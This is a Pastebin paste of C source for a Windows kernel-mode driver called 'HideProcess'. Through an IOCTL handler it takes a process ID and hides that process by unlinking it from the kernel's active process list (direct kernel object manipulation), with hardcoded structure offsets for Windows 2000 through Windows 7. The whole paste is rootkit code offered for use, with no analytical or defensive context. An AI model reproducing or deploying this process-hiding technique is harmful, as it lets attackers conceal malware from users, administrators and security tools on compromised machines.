Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <ntifs.h>
- typedef unsigned long DWORD;
- typedef unsigned char BYTE;
- typedef unsigned short int WORD;
- typedef struct _LDR_DATA_TABLE_ENTRY {
- LIST_ENTRY InLoadOrderLinks;
- LIST_ENTRY InMemoryOrderLinks;
- LIST_ENTRY InInitializationOrderLinks;
- PVOID DllBase;
- PVOID EntryPoint;
- ULONG SizeOfImage;
- UNICODE_STRING FullDllName;
- UNICODE_STRING BaseDllName;
- ULONG Flags;
- WORD LoadCount;
- WORD TlsIndex;
- union{
- LIST_ENTRY HashLinks;
- struct{
- PVOID SectionPointer;
- ULONG CheckSum;
- };
- };
- union{
- ULONG TimeDataStamp;
- PVOID LoadedImports;
- };
- //_ACTIVATION_CONTEXT * EntryPointActivationContext;
- PVOID PatchInformation;
- LIST_ENTRY ForwarderLinks;
- LIST_ENTRY ServiceTagLinks;
- LIST_ENTRY StaticLinks;
- } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
- #define DriverName L"\\Device\\HideProcess"
- #define DosDeviceName L"\\DosDevices\\HideProcess"
- NTSTATUS HideProcessByDKOM(IN DWORD dwTargetPID);
- NTSTATUS CreateDriver(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
- {
- return STATUS_SUCCESS;
- }
- NTSTATUS CloseDriver(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
- {
- return STATUS_SUCCESS;
- }
- void UnloadDriver(PDRIVER_OBJECT pDriverObject)
- {
- UNICODE_STRING uDosDeviceName;
- RtlInitUnicodeString(&uDosDeviceName, DosDeviceName);
- IoDeleteSymbolicLink(&uDosDeviceName);
- IoDeleteDevice(pDriverObject->DeviceObject);
- }
- NTSTATUS Unsupported(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
- {
- return STATUS_NOT_SUPPORTED;
- }
- NTSTATUS IOCTLDispatch(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
- {
- PIO_STACK_LOCATION pIoStack = NULL;
- PVOID pInBuffer = NULL;
- NTSTATUS NtStatus = STATUS_SUCCESS;
- pIoStack = IoGetCurrentIrpStackLocation(pIrp);
- switch (pIoStack->Parameters.DeviceIoControl.IoControlCode)
- {
- case 0x8000000: //Your Control Code
- pInBuffer = pIrp->AssociatedIrp.SystemBuffer;
- if(pInBuffer)
- NtStatus = HideProcessByDKOM(*(DWORD*)pInBuffer);
- goto END;
- default:
- goto END;
- }
- END:
- pIrp->IoStatus.Status = STATUS_SUCCESS;
- pIrp->IoStatus.Information = 0;
- IoCompleteRequest(pIrp, IO_NO_INCREMENT);
- return NtStatus;
- }
- NTSTATUS HideProcessByDKOM(IN DWORD dwTargetPID)
- {
- PLIST_ENTRY pPrevList, pCurrentList, pNextList;
- ULONG MajorVersion, MinorVersion, offset = 0x00;
- PEPROCESS pEprocess;
- NTSTATUS NtStatus = STATUS_SUCCESS;
- if(dwTargetPID == 0)
- return STATUS_SUCCESS;
- NtStatus = PsLookupProcessByProcessId((HANDLE)dwTargetPID, &pEprocess);
- if(!NT_SUCCESS(NtStatus))
- {
- return NtStatus;
- }
- //DebugPrint("EPROCESS:0x%08X\n",pEprocess);
- PsGetVersion(&MajorVersion, &MinorVersion, NULL, NULL);
- if(MajorVersion == 5 && MinorVersion == 0) //Windows 2000
- offset = 0xA0;
- else if(MajorVersion == 5 && MinorVersion == 1) //Windows XP
- offset = 0x88;
- else if(MajorVersion == 6 && MinorVersion == 0) //Windows Vista
- offset = 0xA0;
- else if(MajorVersion == 6 && MinorVersion == 1) //Windows 7
- offset = 0xB8;
- else {
- ObDereferenceObject(pEprocess);
- return STATUS_UNSUCCESSFUL;
- }
- if(offset == 0)
- return STATUS_UNSUCCESSFUL;
- //Hiding
- pCurrentList = (PLIST_ENTRY)((PUCHAR)pEprocess + offset);
- pPrevList = (PLIST_ENTRY)pCurrentList->Blink;
- pNextList = (PLIST_ENTRY)pCurrentList->Flink;
- pPrevList->Flink = (PLIST_ENTRY)pNextList;
- pNextList->Blink = (PLIST_ENTRY)pPrevList;
- pCurrentList->Flink = (PLIST_ENTRY)pCurrentList;
- pCurrentList->Blink = (PLIST_ENTRY)pCurrentList;
- ObDereferenceObject(pEprocess);
- return STATUS_SUCCESS;
- }
- NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)
- {
- UNICODE_STRING uDriverName, uDosDeviceName;
- PDEVICE_OBJECT pDeviceObject;
- int iIndex = 0;
- NTSTATUS NtStatus = STATUS_SUCCESS;
- RtlInitUnicodeString(&uDriverName, DriverName);
- RtlInitUnicodeString(&uDosDeviceName, DosDeviceName);
- NtStatus = IoCreateDevice(pDriverObject, 0, &uDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObject);
- if(!NT_SUCCESS(NtStatus)){
- if(NtStatus != STATUS_WAIT_1){
- return NtStatus;
- }
- }
- for(iIndex = 0; iIndex < IRP_MJ_MAXIMUM_FUNCTION; iIndex++)
- pDriverObject->MajorFunction[iIndex] = Unsupported;
- pDriverObject->MajorFunction[IRP_MJ_CREATE] = CreateDriver;
- pDriverObject->MajorFunction[IRP_MJ_CLOSE] = CloseDriver;
- pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IOCTLDispatch;
- pDriverObject->DriverUnload = UnloadDriver;
- pDeviceObject->Flags |= DO_DIRECT_IO;
- pDeviceObject->Flags &= (~DO_DEVICE_INITIALIZING);
- return STATUS_SUCCESS;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement